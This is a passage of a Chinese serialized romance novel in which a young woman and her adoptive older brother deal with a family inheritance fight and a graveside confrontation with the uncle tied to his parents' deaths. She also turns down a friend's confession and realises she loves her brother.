接下来的路程十分沉默,两人默契到都能察觉到氛围不对,所以都缄默不言。 找了家餐厅吃完晚饭,钟卿悦才逐渐从莫名的情绪里逃脱出来。 餐厅对过是一处森林公园,吃饭时钟卿悦透过窗户观察了许久,公园面积不小,沿着路上去是一座小山,山顶处隐约看到有一个亮着灯光的亭子。 出了餐厅,她拉着谢昱宁道:“哥,去散步?” 谢昱宁蹙眉打量她,“穿着高跟鞋去吗?” 钟卿悦看了眼裙摆下闪亮的鞋面,“没事,又不会走很远,消消食嘛。” 谢昱宁没拒绝,牵着她过马路往公园走去。 沿着蜿蜒的小径往深处走去,两侧是高耸的绿化树,昏暗的照明灯夹杂在其中变得可有可无,只能照亮一小片空地。 他们的影子被拉得很长,错落投映在石板路上。 起初走得还算轻松,但毕竟是上坡路,没过多久钟卿悦就需要借着谢昱宁的力往上爬。 “回去吗?”他问道。 钟卿悦皱起眉,“不想回去,想上去看小亭子。” “那我背你?” “不好吧……”她嘴上说着,身体却诚实地朝他靠去,“我吃得可多了,肯定都重了。” 谢昱宁弯起嘴角,俯身蹲在地上,“那让我试试。” 她眯起眼嘿嘿一笑,立刻扑在他背上,“你试试吧,哥哥牌体重秤。” 感受到后背的重量,他轻而易举起身将她背起,纤细的手臂绕过他脖颈,清新淡雅的香气萦绕鼻尖。她头靠在他肩膀上,发丝一下一下无规律蹭着他的耳廓。 他闭了闭眼,“挺轻的,再多吃点。” “好呀,多吃多吃,吃遍所有美食。” 她语气雀跃,可声音落下后,她又陷入矛盾,明明知道现在的相处方式很奇怪,可她根本不想改变,甚至想得寸进尺的去要更多。 是因为那场梦吗? 似乎一切都是从那场梦后才变得不对的。 但她仍然想不明白。 “哥。”她轻唤他,没什么目的,就是想喊他。 “嗯?”谢昱宁微微侧头,看着她的侧脸,她澄澈的眸子里蕴着不解和茫然。 她没说话,过了片刻又喊了他一声,“哥。” “怎么了?” 她垂下眸子,手臂收紧,脸窝在他颈间,声音闷闷的,“还有多久到小亭子?” “很快了。” “你累吗?” 谢昱宁勾起唇角,偏头用耳朵蹭着她侧脸,“不累。” 她应了声,脸又往深处埋了埋,就这样吧,开心更重要,不是吗? 他说得很对,只是几分钟后就到了山顶。 钟卿悦从他背上滑下来,拎着裙摆踏上小亭子的石阶,映入眼帘的是江城的夜景,高楼大厦鳞次栉比,构成这座繁华的都市。霓虹灯闪烁,五光十色,车灯如流星穿梭,形成一道道绚丽的光轨。 一阵清凉的风吹过,吹散身上的汗意。 她张开手臂,猛吸一口气,“原来晚上没有那么热。” “这里树多,又是山顶,会凉快很多。” 钟卿悦:“嗯,所以城市里的凉风都被高楼大厦挡住了。” 话音刚落,谢昱宁口袋里的手机忽然响起,她循声望去,只见他盯着屏幕蹙起眉头。 “谢嘉希。”他解释道。 钟卿悦点点头,“你接吧。” 谢昱宁垂眸,接听电话,谢嘉希平淡的声音从对面传来,“大哥,爷爷去世了。” “知道了。”他回得十分平静,情绪无波无澜,丝毫没有听到亲人离世时那样的悲痛心情。 “你回来吗?” 谢昱宁顿了一瞬,抬眸看了眼钟卿悦的背影,“回去。” 下山时,还是谢昱宁背着她。 她好奇问道:“哥,你为什么还要回谢家?他们对你不好。” “嗯,不好,但我需要回去。” 钟卿悦搂着他脖子,“嗯,你怎么做我都支持你。” 将钟卿悦送回家,谢昱宁调转车头直接开往谢家。他原是没打算认祖归宗的,但现在,他改变主意了。 【📢作者有话说】 [撒花]来啦!晚上好宝宝们! 谢同学:憋问,我有自己的计划! 30 第 30 章 ◎我会陪着你◎ 谢家是个冷漠无情的地方, 谢爷爷在重症呆了半年多,没人真正关心过他的身体。一部分人想方设法吊着他的命,从国外找来最好的医生, 不管生命尽头经历怎么样的痛苦, 只要不咽气就可以。 另一部分的人都在盼着他死, 是的, 盼着仪器上的心率变成一条直线。 所有人都在为了自己的利益费尽心机。终于在这天晚上, 这场对局赢来结局,谢嘉希这一方胜出。 谢爷爷丧事结束后,他的遗嘱公布,除了名下资产以外,所有人都在盯着公司的股份,而他将股份分成了三份, 谢昱宁拿到10%,谢二爷15%,谢三爷15%。 谁也没想到谢昱宁会出现在这盘棋中, 而谢昱宁自己却早有预料。 遗嘱公布, 手续完成,谢氏集团召开股东大会选举新一任董事长。谢嘉希前期收购了部分小股东的股份,总占比超过了30%, 加上一年前她和谢昱宁合作的项目,让她在股东中的名声不错。 在谢昱宁和部分股东的推举下,谢嘉希以高票当选, 成为谢氏集团新一任总裁。 股东大会结束后,谢昱宁拦住了谢二爷。 谢经业后退一步, 似乎早有预料, 云淡风轻地看着他, “恭喜啊。” “满意现在的结果吗?” 谢经业抬起手,慢条斯理将袖扣摆正,“胜败乃兵家常事,来日方长,她能不能坐稳可说不准。” 谢昱宁勾起唇角,笑意却不达眼底,“您有没有来日?” 谢经业微怔,偏头掩饰掉眸中一闪而过的疑虑。 谢昱宁冷冷看着他神色转变,半晌,俯身压低声音道:“二叔,串通竞标,行贿受贿。” 谢经业身体一僵,猛然抬头瞪着他,“不可能,那是市重点项目。” “是吗?” “拿出证据再说话。”谢经业仰头坦然和他对视。 谢昱宁挑眉,不置可否,“我刚好要去墓园看我父母,二叔一起吗?” “我还有事。”谢经业面上不显,实则后背一片冷汗,他不想继续和谢昱宁纠缠下去。 “走吧。”谢昱宁不给他反驳的机会,抬手搭在他肩膀上,手掌微微用力,捏得他肩胛骨生疼。 他抬胳膊摆脱掉谢昱宁的钳制,拉了下西装领子,“我很忙,你自己去吧。” 说罢,他急匆匆朝门口走去。 谢昱宁落下手,插进口袋,淡淡开口,“齐乐。” 声音落,门从外面推开,齐乐站在门口,挡住谢经业的去路。 谢昱宁:“带谢二爷一起。” “是。”齐乐应了声,上前一步架住谢经业的胳膊,接着门口又出现几个人,一前一后围住他。 谢经业回头盯着谢昱宁,目光阴沉冰冷。 谢昱宁:“谢二爷不用担心,只是去墓园而已。” “你……”谢经业恶狠狠地瞪着他。 谢昱宁挑眉示意,齐乐和另一个人立即架着谢经业走出会议室。 闷了许久的江城突然迎来一场暴雨,乌云压城宛如世界末日,耀眼的闪电划破天气,紧接着带来沉闷的雷声。豆大的雨滴敲在车窗上变成密密麻麻的水滴,狂风卷起树枝,硬生生折断,整座城市在瓢泼大雨中变得一片狼藉。 钟卿悦接到电话时已经不安了一整天,当看到屏幕上跳动的名字后更加慌了神。 “喂,钟小姐,打扰您了,您能陪我去一趟青山墓园吗?” 齐乐的声音打乱她所有的理智,她捏紧手机,转身背上随身包,“出什么事了?” “先生带着谢二爷进了墓园,无论如何都不让人跟着,已经半个多小时,我们都怕出事。” 钟卿悦趿着拖鞋匆匆下楼,“你在哪?” “我就在庄园门口。”齐乐道。 “跟保安说,把车开进来,我马上出去。” 挂断电话,钟卿悦已经下到一楼。钟爸钟妈都在客厅,见她神情着急,忙问道:“干嘛去?” 她来不及解释,走到玄关处去拿雨伞,“我出去一趟。” 钟妈:“这么大雨去哪?” “找我哥。”她头也不回地推开门,狂风瞬间冲进门内,她衣服立刻被打湿,紧贴在身上。 钟妈又说了什么,她没有听清,把她声音被她关在门内。 齐乐紧握着伞把,浑身上下已经湿透。将她接上车,他调转车头加速开出庄园。 雨刮器在玻璃上来回摆动仍然刮不尽雨水,齐乐几乎是摸索着往前开。 钟卿悦坐在后排,手上紧握着雨伞,“怎么会去墓园?” 齐乐不知从何说起,他也不清楚钟卿悦知道多少,张了半天嘴,道:“先生有事情要问谢二爷。” “去谢叔叔墓前了是吧?” 齐乐诧异一闪而过,“对,我怕有问题,雨太大,只有他们两个人在里面。” “你怎么不进去?”钟卿悦反问道。 齐乐摇了摇头,“不敢。” 其实他知道找钟卿悦来也是错的,但经过权衡利弊,他觉得找她是更为稳妥的方式。 在大雨中开了十几分钟,车子听到墓园门口。 风在此时落下帷幕,只有瓢泼大雨还在不知疲倦地落着。 钟卿悦撑开伞下车,回头看了眼齐乐,“半个小时后如果没人出来你们就进去。” 齐乐立刻应声,“明白。” 她撑着伞走进墓园,雨势急促,雨点密集地落在伞面上,发出劈里啪啦的声响,如同激烈的交响乐,汹涌震撼。 没走多远,她的鞋面已经湿透,鞋子里灌进雨水,踩下去都是咕叽咕叽的水声。 她不甚在意,加速步伐朝墓园后方走去。她对墓园很熟悉,之前每年都会陪同钟爸钟妈来祭拜谢叔叔谢阿姨。穿过前方的幽静小路,转个弯就能看到目的地。 隔着密集的雨幕,她隐约看到墓前的人影。她握紧雨伞加快步伐踏上阶梯。 随着距离越近,她看得越来越清晰。 谢昱宁没打伞,背对她的方向,萧萧站在雨中。谢二爷跪在墓前,头抵着墓碑,“大哥,大哥我错了。” 钟卿悦没再上前,她觉得眼下不适合打扰他,只要确认他没事就好。 谢昱宁俯下身靠近谢经业,漆黑的瞳仁蕴着浓烈的杀意,“究竟是不是你?” “不是我,不是我,真的不是我。”谢经业几乎是哭着喊出声。 谢昱宁蹲到他身侧,手紧握成拳,指关节捏得泛白。他不信,谢经业说得每个字他都不信。 他垂下眼睑,发丝不停往下滴水,落到地面积水上激起一圈涟漪。 他猛然抬起手抓住谢经业的头发,往后一扯,疼得谢经业立刻哀嚎一声,“啊——我只是想找人拿了大哥的芯片,我真没想害他!” 谢昱宁蹙起眉,目光狠戾,手上力道加重,扯着谢经业直接倒在雨水中,谢经业恐慌地闭上眼,双手紧紧捂住脸,“别,别打了。” 谢昱宁手颤着,小臂上肌肉紧紧绷起,雨滴密集的落在肌肤上,顺着线条往下流动。 他克制不住手上的力道,几乎要将谢经业的头皮扯下来,谢经业躲无可躲,只能缩着脖子大叫,“我错了,我错了。” 下一秒,头顶出现一把伞,倾盆大雨被隔绝在外,人影挡住眼前光线,一双微凉的手落在谢昱宁的手臂上,轻柔地握住,“哥。” 他手上的力瞬间松懈,谢经业趁机抽出自己的头,连滚带爬到谢爸墓前,抱住墓碑,在雨中害怕的哆嗦着。 钟卿悦蹲下身去看谢昱宁,手掌下滑握住他的手。他几乎是下意识地反手握住,紧紧握住,掌心相贴,密不透风。 视线交汇,钟卿悦看到他眸中闪过的绝望,只是一瞬,他便立刻垂下眼睑隐藏起来。 她胸口堵得生疼,呼吸变得薄弱艰难。她张张嘴,许久才找回声音,“哥,还好吗?” 他单膝跪在地上,摇了摇头,缓慢朝她靠近,继而张开双臂将她抱在怀里。 他的怀抱很凉,带着潮湿的雨意。 她回抱住他,像哄孩童般轻拍着他的背,“我会陪着你的。” 他下巴抵着她发顶,声音低哑模糊,“抱歉,吓到你了。” “没有。”她眼眶涌出一阵暖意。她的心好疼,她从没有见过这样的谢昱宁,好像碎成了玻璃渣。 “我一直在,为什么不喊我来陪你,我也可以保护你的。”她越说声音越哽咽。 她试图捡起他的碎片,一点点小心翼翼地捡起,把他拼凑完整,拼回曾经那个意气风发的模样。 他不说话,只是沉默地抱着她,越抱越紧,想要将她嵌进怀中。 “我没找到害我爸妈的人。”他声音极轻。 钟卿悦蹭蹭他,“没关系,叔叔阿姨不会怪你的。我们慢慢来,还有很长时间,会找到的。” 雨渐小,身后传来杂乱地奔跑声,齐乐焦急地声音响起,“先生,钟小姐。” 谢昱宁没动,钟卿悦拍了拍他的背,哄道:“我们起来好吗?” “嗯。”他闷闷地应了声,拉着她站起身。 齐乐看到两人完好无损,松了口气,“幸好,幸好。” 谢昱宁收敛所有情绪,又变成往日冷冽地模样,瞥了眼谢经业,他淡淡开口,“齐乐,报警吧。” “不,不,不。”谢经业疯了似的爬到谢昱宁脚边,“你说了可以保我的。” 谢昱宁冷嗤一声,讽刺地看向他,“我的话你也信?” 【📢作者有话说】 [可怜]脆弱谢同学 30-40 31 第 31 章 ◎你不一样◎ 几小时前还趾高气昂的谢经业, 现在只能狼狈地匍匐在地上祈求谢昱宁能放过他。 他不是知道错了,而是害怕了。他做的那些事,一罪一罪加起来, 不说老死在牢里也差不多了。 谢昱宁出神盯着谢经业, 眼前又浮现起车祸的那一幕, 父亲满手是血, 颤抖着把芯片塞进他手里, 奄奄一息的最后一刻还在嘱咐他一定要活下去,平安健康的活下去,不要想仇人,也不要想?*? 他们。 “我真的没有想害大哥,我说得都是实话,你信我, 信我。”谢经业哭喊着,嘶哑的声音响彻在墓园。 他闭上眼,扯开被谢经业拽着的裤脚, 冷声道:“信你又能怎么样?” 谢经业脑子飞速转着, “我帮你调查车祸,你再给我一次机会,我一定安分守己。如果把我抓起来, 牵连的人太多了,谢家一定会受连累,嘉希可是刚接手谢家。” 话音落, 谢昱宁轻笑一声,“你想多了, 谢家人不在我考虑范围内, 他们是死是活和我无关。” “那…还有…还有办法…”谢经业近乎癫狂地喃喃自语。 只消片刻, 他眼珠突然一转,锐利的目光落在钟卿悦身上,同手同脚爬到她面前,恳求道,“你,你帮我求求他,他一定听你的。” 他的手还未触碰到钟卿悦,谢昱宁已经先一步挡到他身前,“别弄脏她衣服。” 在谢经业妄图靠近钟卿悦的时候,他的耐心就已经消耗殆尽,他看向齐乐,眉头紧蹙,“带他走。” 谢经业燃起的最后一丝希望幻灭,他垂下手,心如死灰瘫坐在地上,任由齐乐拖着他离开墓园。 雨彻底停了,天边的乌云裂开一道缝隙,湛蓝的天色躲藏不过露出一角,似乎预示着一切尘埃落定。 钟卿悦收起雨伞走到谢爸谢妈墓前。 看着墓碑上熟悉的照片,两人笑容和善地注视这个世界,年轻的容颜不会苍老,永远停驻在岁月长河中。 谢昱宁长得很像谢妈,尤其那双眼睛,上挑的眼尾,深邃的眼窝,将整张脸刻画的特别精致。她不由自主地回头看了眼谢昱宁,对上他不解的目光,她浅浅勾起笑容,又神秘地看向墓碑。 对着墓碑深深鞠躬,反复三次后,她才开口道:“叔叔阿姨,我会帮你们好好照顾哥哥的,他现在很好,像你们一样优秀,你们放心吧。” “今天雨太大了,把你们墓前搞得脏兮兮的,等天晴了我和哥哥来给你们打扫卫生。” 她沉了沉,继续道:“今天的事哥哥做得很好很对,我们都支持他,是吧。不过我还是有点埋怨他,他都没有提前告诉我,我可以跟他一起承担啊。这点不好,你们晚上记得托梦批评他。” 话音落,额角突然被人敲了一下,不痛不痒。她撅着嘴仰头瞪一眼始作俑者,“怎么啦,给你告状还不行?” 他无奈揉揉她的发顶,“行。头发都湿了,该回家了。” “你才是湿透了。” 钟卿悦转头看向墓碑,又鞠了一躬,“叔叔阿姨,我们先走了,哥哥淋得湿透,我们过两天再来,你记得我说的,要训他。” 谢昱宁敛起笑意,也对着墓碑鞠了一躬。 出了墓园,门口只有一辆车在等他们。上了车,司机抓紧将空调调成热风,生怕他们感冒。 暖煦煦的风吹着,钟卿悦的发梢没一会儿便干了,上衣湿的地方大部分都是谢昱宁抱她洇湿的,也不算严重,全身上下就是鞋子里装满水,泡得脚冰凉。 谢昱宁比她严重的多,从上到下没一个干的地方,连眼睫毛都湿漉漉的,看着她的目光都变得潮乎乎的。 到了家一进门,钟妈钟爸见了两人的模样,半天都没缓过神。 还是钟卿悦开口说了句话,“妈妈,让袁姨煮点姜汤吧,我哥淋雨了。” 钟妈反应过来,喊了声袁姨,匆匆去安排。 钟爸着急地围着两人转了一圈,“这咋回事啊,搞成这样?” “没事没事。”钟卿悦大咧咧挥了挥手,“淋雨了而已。” “淋这么透,怎么不先躲躲,那会儿风也大雨也大。”钟爸说完又催促道,“快快快,快去洗个热水澡,别冻感冒了。” 两人应了声,前后脚上楼。 转过一层楼梯,钟卿悦放慢脚步和他并肩,“一会儿妈妈问起来就说因为你车抛锚了才不小心淋雨的。” “嗯。” 走到卧室门口,钟卿悦又不放心嘱咐道:“你开暖风洗澡,不要着凉。” 谢昱宁看向她,目光微沉。 钟卿悦愣愣眨眨眼,“干嘛这么看我?” “没事。” “没事就快去洗澡。”钟卿悦佯装凶巴巴的模样,推着他往门口去,“再呆下去体温就烘干衣服了。” 他含笑,任由她将他推进卧室。 看着门关上,钟卿悦转身回自己房间。 冲了个热水澡,把头发彻底吹干,身上出了一阵汗后她才觉得舒服不少。 刚从浴室出来,钟妈便敲门给她端来了红糖姜茶。 “悦儿,你们今天怎么淋成这样?” 钟卿悦抱着茶杯,按照约定的话术老实道:“我哥的车坏了,把我们扔半路上了。” 钟妈不动声色,“你出门那会儿着急忙慌的,是你哥有什么事吗?” “没事,我们约好时间了,我迟到了,所以比较着急。” 钟卿悦知道这话漏洞百出,但钟妈没什么证据,她怎么说钟妈就得怎么听,只要她自己信,那就不会被怀疑。 钟妈点了点头,没再多问,“你喝了姜茶捂被子里暖暖,别着凉感冒了。” “知道啦,谢谢妈妈。” 目送钟妈出门,她吹着姜茶小口抿着。 与此同时,钟爸走进谢昱宁的房间,把姜茶放到他桌上,人也随着坐到沙发上,“昱宁,咱爷俩唠会儿?” 谢昱宁有所预料,因为他知道钟妈察觉到了,从叶承扬出现在钟卿悦身边时他就已经猜到。 可当时他并没有打算,即使清楚自己对钟卿悦的心意,也未曾想过真的表露出来。 现在……不一样了。 他已经不想只是她的哥哥,他想要的变得更多了。 他坐到钟爸对面,等待钟爸开口。 “昱宁,你爷爷的丧事都处理好了吧,听说是你三叔家接手了公司?” 谢昱宁点点头,“丧事一切从简。公司由我堂妹接下了。” “挺好的。”钟爸顿了顿,沉吟道,“你爸临终前让我好好照顾你,谢家太复杂,我不想你过多参与其中,这也是你爸的意思。当时我送你去国外也是为了躲谢家的眼线,后来你主动回来,我也不阻拦,但我希望你平平安安的。” “我知道,谢谢您爸。” 钟爸满意地点点头,“你爸在天之灵看到你现在这样肯定得高兴坏了。你爸不善言辞,你现在跟他年轻那会儿一个样,只知道忙工作,满脑子都是那计算机,那代码。” 说到这,钟爸望向远处,目光里带着些许怀念,“那时候他跟你妈妈谈恋爱,我们都惊呆了,谁也没认为他一个木头疙瘩能找到媳妇儿。后来他们结婚,生下你,转眼这么多年,你也长大成人了。” 钟爸眼里已经含着泪,“嗐,你看,这岁数大了就爱伤感。” 他挥挥手,“不说这个了,不说这个了。你喊我一声爸,我就得担起做父亲的责任。你别怪我话多,你现在事业有成,也该考虑成家的事儿了。现在有没有喜欢的女孩子啊?让你妈出现给你说媒。” 谢昱宁垂下眸,不动声色听着钟爸的试探,片刻后才道:“爸,还没想过,三代研发进入瓶颈,很忙。” “行吧,那你也得上上心,不然你爸可得念叨我了。要觉得哪家姑娘好就处着,只要家世清清白白,人礼貌懂事就行。” 谢昱宁应了声。 钟爸没再继续这个话题,两人又聊了会儿工作上的事,钟爸便离开了。 — 淋过雨的两人在家里捂了两天,万幸都没感冒。 雨后的第三天,天晴了,湛蓝的天空经过雨水冲刷变得更加清明干净。 一大早,钟卿悦拉着谢昱宁去扫墓。把墓地周围积蓄的沙土都清理干净,又把墓碑仔仔细细擦拭过。 钟卿悦把买的花摆在墓碑前,一束菊花,一束百合,因为钟妈说谢妈喜欢百合。 墓地焕然一新,钟卿悦拉着谢昱宁磕了头,又问道:“哥,你有什么要说的吗?” 谢昱宁:“没。” “你如果怕我听到,你就偷偷在心里说,他们也能听到的。” 谢昱宁勾起唇,大手按上她的发顶,“你还要告状吗?” “不告了,你最近这两天表现不错。”钟卿悦扬眉,“那天叔叔有没有托梦批评你?” 他敛眸,目光柔和地看着她,“批评了,以后不会瞒着你了。” “哼哼,果然叔叔还是向着我的。” 两人站起身,和谢爸谢妈告别,挽着手往墓园外走去。 “哥,你以后别把我当小孩子了,我也可以帮你。”她垂下眼,指尖揪着他衣服。 谢昱宁:“那天有没有吓到你?” 她歪头眨眨眼,“什么?你说你揪头发吗?那有什么,坏人就该受到惩罚。” 他勾唇,“那你有没有想过我或许是个坏人?” “不可能。”她想也不想,牢牢拽着他的手臂,像个树懒,“只要是你,坏在我这里也变成好。” 他任由她贴着,“这么信我?” “当然,你不一样。” 他呼吸变缓,“哪里不一样?” 钟卿悦转开目光,望着远处,“因为你是我哥啊!” 【📢作者有话说】 妹宝:祝所有高考的宝宝们旗开得胜,金榜题名! 谢总:加油。 32 第 32 章 ◎我有喜欢的人◎ “只是这样吗?”谢昱宁问道。 “对啊对啊。”钟卿悦心不在焉地回了一句, 松开他的手,一连跑出去老远才平复下呼吸,回头对他招招手, “走啦哥, 好热。” 扫墓一个小时, 额头全是汗没喊一句热, 这会儿都要走到门口了, 又吵着热,怎么看都是伪装失败的结果。 她自己也不清楚为什么,每当一些模棱两可的话说出来时,她的思绪就会变得混乱,心脏不受控地加速,总而言之, 整个身体的反应都难以言喻,很奇妙,很上头。 她不是钻牛角的性格, 也不容易内耗, 许多想不明白的事情都可以随时抛掷脑后,人嘛,开心最重要啊! 雨后的天气更加闷热, 随着进入中伏天,阳光简直像是燃烧的火苗,照在身上片刻就能烫的皮肤发疼。 这天, 钟卿悦在家赖着,突然接到贺文杉的电话。 接听瞬间, 贺文杉爽朗的声音便响彻房间, “悦姐悦姐, 我回国了,刚下飞机。” “可喜可贺,总算回归祖国的怀抱了!” 贺文杉单手将行李塞进后备箱,“那可不,落地都流泪了。” 把钟卿悦逗笑,他才憨憨道:“那什么,正事儿,我后天生日,一块儿吃饭啊。” 钟卿悦沉吟片刻,十分谨慎问道:“咱俩?” 自从上次伦敦他脱口而出的那句话后,她就已经格外注意两人的关系距离。 贺文杉:“不是不是,还有几个高中同学。” 钟卿悦松了口气,“好啊,可以。” “那行,具体时间我再发群里,你可别忘记给我准备礼物啊。” “知道知道,哪年你生日我装傻过?” 又闲聊两句挂断电话。不消片刻,钟卿悦收到孟辰薇的消息,询问贺文杉生日聚会的事,两人约着明天一块儿去商场买礼物。 两天后的傍晚,钟卿悦到枫兰会所时,孟辰薇已经在门口等她,两人手挽手往大厅走。 孟辰薇:“贺文杉怎么突然搞生日聚会?” “可能因为在国外留学,很长时间不见朋友比较想念吧。” 钟卿悦给他想的理由挺合情合理的,但说什么也没想到推开门会是另一幅景象。 包厢门打开的瞬间,砰的一声,漫天的彩带洋洋洒洒飘下来,眼前全是金光闪闪的残影。 偌大的房间充斥着浪漫的氛围,灯光昏暗,窗边用鲜花布置了一个拱门,拱门上方是一个粉色的大蝴蝶结,下方悬挂着暖光灯牌,写着:I love you。 贺文杉抱着一束巨大的玫瑰花站在房间中间,穿着精致的西装,头发还喷了发胶,一看就是精心打扮过的模样。 钟卿悦被吓得愣在原地,呆呆望着眼前这一切。 “呜呼,欢迎女主角!”贺文杉的好友起哄喊道。 钟卿悦吞了下口水,硬着头皮走进屋里。顺着氛围灯和气球铺设的小路,一直走到贺文杉面前。 看到她过来,贺文杉扬起笑容,握着花的手臂收紧,声音激动地发颤,“悦姐。” 钟卿悦知道他要说什么,她无法掉头就走,他需要顾及他在朋友面前的自尊心。 她点点头,应了声。 “悦姐,我喜欢你。我们认识八年了,经历过太多事,记不清从什么时候开始喜欢的,可能是看你低头写字的时候,也可能是和你一起放学的时候。我不会说深情的话,打了很多草稿,现在一激动也都想不起来了。” 他不好意思地挠了挠头,“当初喊你悦姐是因为被人堵在小花园收保护费,你冲过来骂他们,还把状告到教导主任那里,给他们三个人记了过。那时候我说以后你就是我老大,你还拍着我肩膀说会保护我。” “我可能太唠叨了,但这些回忆在我脑子里过了很多遍。以前不知道这叫喜欢,大学见不到你,想你,才知道原来这就是喜欢。” 他垂下头,眼睛里竟然泛起泪光。 “我想了很久,终于鼓起勇气站在你面前,说出我的心里话。我喜欢你,不是一时冲动的喜欢,是想走进你生命的那种,你愿意接受我的表白,和我在一起吗?” 他看向钟卿悦地眼睛里盛满期待,宛如千万星光落入眼眸。 钟卿悦愧疚地低下头,躲开他的视线,“对不起。” 贺文杉希望她说三个字,可以是“我愿意”,可以是“我也是”,但不希望是这三个。 围观的朋友收起笑容,已经猜到这场告白会的结果。其中一个高个子男生招了招手,喊着众人离开包间。 门关上,屋里只剩他们两个人。 贺文杉嘴角发颤,笑容满溢苦涩,“其实我猜到你不喜欢我,总抱着一丝希望。在计划的时候我就想着,我表白就好,不奢求你跟我在一起,可你现在真拒绝了我,也还是挺……难受的。” 钟卿悦:“我把你当成朋友,特别好的朋友。” “没事儿,多大点事儿。”贺文杉大咧咧蹭了下鼻子,掩饰快要藏不住的情绪。 他把花往她手上一塞,“朋友也能收花,拿着拿着。” 99朵玫瑰花堪堪抱在怀里,她勉强从侧面伸出头,“我不收了,不合适。” “怎么不合适。” 贺文杉拒绝再拿回去,她只好放到一旁桌上。 接着,她从包里拿出礼物盒,递到他面前,“这是给你准备的生日礼物。” 长方形的棕色锦盒,里面装着一副墨镜,银灰色方形镜架,镜腿是拼接的黑色,独特的设计感让人眼前一亮。 贺文杉不假思索地拿出戴在鼻梁上,眉梢一挑,得意道:“怎么样?帅吗?配我吗?” 他语气表情毫无破绽,藏在墨镜下的眼眶却红的骇人,泪水堆积在眼底,只有努力睁着眼睛才能勉强阻止它夺眶而出。 钟卿悦不疑有他,微笑调侃道:“还是我眼光好。” 贺文杉偏开头,佯装忙碌地去开灯,收拾桌上烘托浪漫氛围的气球,“那什么,该吃饭了。” 钟卿悦窘迫地垂下头,“嗯是,我去喊他们。” 两人都在努力的恢复如常,可捅破的窗户纸永远无法复原。 钟卿悦几乎是逃一样地往门口走,手刚搭在门把上,身后陡然响起贺文杉暗哑的声音,“悦姐。” “啊?”她尴尬回身望去。 贺文杉手里拿着刚拆下的气球,固定处正缓缓往外冒着气,眼看着圆鼓鼓的气球瘪下去。 他脸上戴着墨镜,鼻子有些发红,轻轻开口,“我能问问,你为什么不喜欢我吗?是我不够好吗?” 沉默许久,在贺文杉要撑不住,以为她不会说的时候,她缓缓开口了,“不是的,只是我…有喜欢的人。” 这答案超出贺文杉的预期,他从没想过钟卿悦会有喜欢的人,在他眼中,她大大咧咧懵懵懂懂,对感情一直不开窍,哪怕他在伦敦说成那样,她好像都没听出来。 他吞了下口水,声音哽咽,“我认识吗?” 钟卿悦摇摇头。 贺文杉背过身去,或许是他太迟了,他在高考结束后察觉对她的不同时,就该勇敢表白,现在都晚了,她已经遇到了其他人。 钟卿悦不敢逗留,拉开门匆匆离去。 空荡无人的走廊,她贴墙站着,胸口起伏,呼吸变得急促,心脏在胸腔下蓬勃跳动。她不知道为什么会脱口而出那句话,她有无数个理由可以用来应付他,当初对周沐渊说过的话拿来告诉他也可以,但她却说出了截然不同的话。 当他问是谁的时候,她脑子里浮现出的那张脸…… 她闭上眼睛,双手紧紧捏在一起,是谢昱宁。 现在去想刚才的一切,她觉得自己一定是疯了,绝对是疯了,谢昱宁是她哥啊,她在想什么,这太猎奇了! 她猛然睁开眼,下意识去摸着自己的脸,炙热滚烫,像刚出锅的水煮蛋。她放下双手去贴墙面,直到手心冰凉才又拿起来覆在脸上。 此刻她急需冷静,强迫理智回归,脑子里的弦绷紧再绷紧。她试图告诉自己,一定是因为想拿谢昱宁当幌子而已,绝对不是喜欢他。 “悦悦!”孟辰薇清脆的声音在走廊尽头响起。 她猛然回神望过去,盯着她的瞬间又走神起来。直至孟辰薇在她面前晃了晃手,“还好吧?是不是吓到了?” 她眨巴眨巴眼睛,回得牵强,“还行,有点超出预料。” “现在什么情况?”孟辰薇好奇道。 “就我拒绝了他,他没说别的。” 孟辰薇叹口气,“以后怕是回不去了,不再是单纯的友谊了。我也没想到他会突如其来的表白,我知道一定会阻止他的。” “说开也好,一直掩耳盗铃只会让他更难受。”钟卿悦耸耸肩,长舒一口气,“他的朋友呢?吃饭了。” “他们在楼上台球厅,我不放心,过来看看你。” 钟卿悦挽住她,温柔地蹭蹭她胳膊,“那我们去喊他们吃饭吧。” 往电梯口走,钟卿悦心不在焉,几次差点踩到孟辰薇的脚,吓得孟辰薇一直看她,“不是吧你,怎么还把这点事情放在心上,不符合你性格啊!” “没。”她回得有气无力,“脑子乱乱的,像浆糊。” 不是因为贺文杉的表白,而是因为她无意间发现自己的秘密。饶是她再心大,好像也没法把这件事抛在脑后。 — 混混沌沌的吃着晚饭,钟卿悦食之无味,像机械程序似的漠然往嘴里塞着。 酒过三巡,菜过五味,钟卿悦的手机突然响了一下,她仿佛受惊的兔子,下意识缩了下脖子。 孟辰薇没被她手机吓到,被她吓到了,忙问道:“悦悦,你怎么了?难受?” 她心神恍惚,突如其来的声音都能成为惊吓源,她立即摇摇头,“没事没事,我走神了。” 说着,拿起手机,消息通知上赫然出现“哥哥”两个字,她胸口猛然一紧,心脏仿佛被一只大手狠狠捏住,致使血流缓慢,气息短促。 “怎么了?”孟辰薇看她脸色很差,急忙拍着她后背。 她摇了摇头。谢昱宁是真会挑时候,本身她心里就乱,他还得出现搅浆糊。 指尖冰凉着点开消息,屏幕跳转到两人的对话框。 [吃饱了吗?我在停车场等你。] 钟卿悦垂着脑袋点输入法:[吃饱了吃饱了,等我一下下。] 饭桌上,高个子男生招呼着众人转战楼上酒吧,钟卿悦出声打断,“不好意思,我得回家了,我有门禁。” 贺文杉:“再玩一会可以吗?” 钟卿悦刚想回答,手机又响了一下,她垂眸看了眼。 [谢昱宁:几楼?] 贺文杉还在等她回答,她一心二用,嘴上回答着,手上给谢昱宁发去楼层。 贺文杉没有强留她,临出门时,贺文杉还是把那一束玫瑰花递到了她手上,“就当是回礼了。” 她不好意思继续拒绝,只能接下。 贺文杉送她走出包间,刚拐到电梯口,电梯门却突然开了,谢昱宁双手插兜信步走出,原本含笑的眸子在看到钟卿悦手里的玫瑰花时瞬间冷了下来。 【📢作者有话说】 [让我康康][让我康康]宝宝们晚上好,随机掉落小红包啦—— 33 第 33 章 ◎喜欢上哥哥怎么办?◎ 钟卿悦没想到他上来的那么快, 迎面撞上时她正艰难地抱着花往电梯口蹭。 四目相对,她下意识看向怀里的花,接着想起晚上的联想, 喊他都喊得心虚, “哥……” 谢昱宁微微蹙起眉, 插兜的手缓缓抬起, 揪着花束包装袋一角拎了起来, “不沉?” 二十多斤重的玫瑰花在他手里轻得像羽毛,漫不经心提着,晃晃悠悠荡着。 当着贺文杉的面,钟卿悦点头也不对摇头也不对,只好尴尬地看向贺文杉,“你快回去吧, 朋友都等你呢。” 